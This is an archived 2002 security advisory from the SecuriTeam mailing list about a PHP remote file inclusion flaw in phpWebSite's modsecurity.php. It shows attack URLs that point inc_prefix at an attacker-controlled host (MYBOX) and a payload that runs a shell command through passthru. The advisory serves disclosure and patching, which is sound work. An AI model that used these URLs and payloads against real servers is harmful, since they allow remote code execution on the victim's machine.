[UNIX] PHP Source Injection in phpWebSite

From: support@securiteam.com
Date: 09/25/02


From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 25 Sep 2002 14:58:46 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  PHP Source Injection in phpWebSite
------------------------------------------------------------------------

SUMMARY

 <http://phpwebsite.appstate.edu> phpWebSite is written in the PHP
Programming Language, making it ideal for developers to write customized
plug-ins. PHP is a server side programming language that is simple,
cross-platform, and fast. A security vulnerability in the product allows
attackers to cause the program to execute arbitrary code.

DETAILS

Vulnerable systems:
 * phpWebSite version 0.8.2 (modsecurity.php version prior to 1.10)

Immune systems:
 * phpWebSite version 0.8.3 (modsecurity.php version prior to 1.11)

phpWebSite comes with a file called modsecurity.php, and looks like this:
 
-------- modsecurity.php --------
<?php
 global $inc_prefix;
 if(!$inc_prefix) {
 ...
 }
 ...
 include_once($inc_prefix."htmlheader.php");
?>
----------------------------------
 

If someone request a URL like:
http://SERVER/modsecurity.php?inc_prefix=http://MYBOX/, the htmlheader.php
file from MYBOX would be included, and the attacker would be able to
include any code he wants.
 
Examples:
http://SERVER/catalog/inludes/include_once.php?inc_prefix=http://MYBOX/
 
--- htmlheader.php ---
<? passthru("/bin/ls") ?>
----------------------

The resulting output would be a directory listing of the current
dierctory.

Sollution:
Tim informed the vendor and they released a new version (1.11) of the
modsecurity.php file which is available from:
 <http://res1.stddev.appstate.edu/horde/chora/cvs.php/phpwebsite>
http://res1.stddev.appstate.edu/horde/chora/cvs.php/phpwebsite

A new version (0.8.3) is released so this vulnerability so new users will
never have a modsecurity.php file older then version 1.11

ADDITIONAL INFORMATION

The information has been provided by
<mailto:Tim.Vandermeersch@pandora.be> Tim Vandermeersch.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: Php query string security
    ... > Yes I have read an awful lot now about php security and different ... the vulnerability occurs in a quite complicated setup. ... people who write unnessesarily complicated code, who overdesign software, ... are usually not security conscious. ...
    (comp.lang.php)
  • TSLSA-2005-0059 - multi
    ... Affected versions: Trustix Secure Linux 2.2 ... PHP is an HTML-embedded scripting language. ... use of Rest with FTP servers and Range with HTTP servers to retrieve files ... - New Upstream and Multiple Vendor Security Fixes ...
    (Bugtraq)
  • [UNIX] Arbitrary Code Execution Vulnerability in Mantis
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Mantis is an Open Source web-based bug ... tracking system, written in PHP, which uses the MySQL database server. ... A security vulnerability in the ...
    (Securiteam)
  • PHP Security!!! www.armorize.com
    ... Our product uses the most advanced static source code analysis for identifying vulnerabilities in PHP code. ... Our language parser and transformer creates an abstract model of the code through which it runs a series of program path, inter-procedural and data flow analyses after which it can tell you not only what line of code the vulnerability lies, but also highlights the tainted variable that introduced the bug and how it propagates throught the code to become a vulnerability. ... This provides an end to end illustration of the vulnerability, educates you regarding the dymanics of security problems in PHP and actually provides suggetions of how you should go abuout fixing the code. ... Purchase for one month and fix your entire code base, when you need to modify your application again, it will only cost you that month's subscription. ...
    (php.general)
  • Re: [PHP] Out source files
    ... >> server, and use URL fopen to read them, if you like. ... In several PHP security recommendation we can read "Do not let PHP ... a vulnerability of the application doesn't expose all the data to the ...
    (php.general)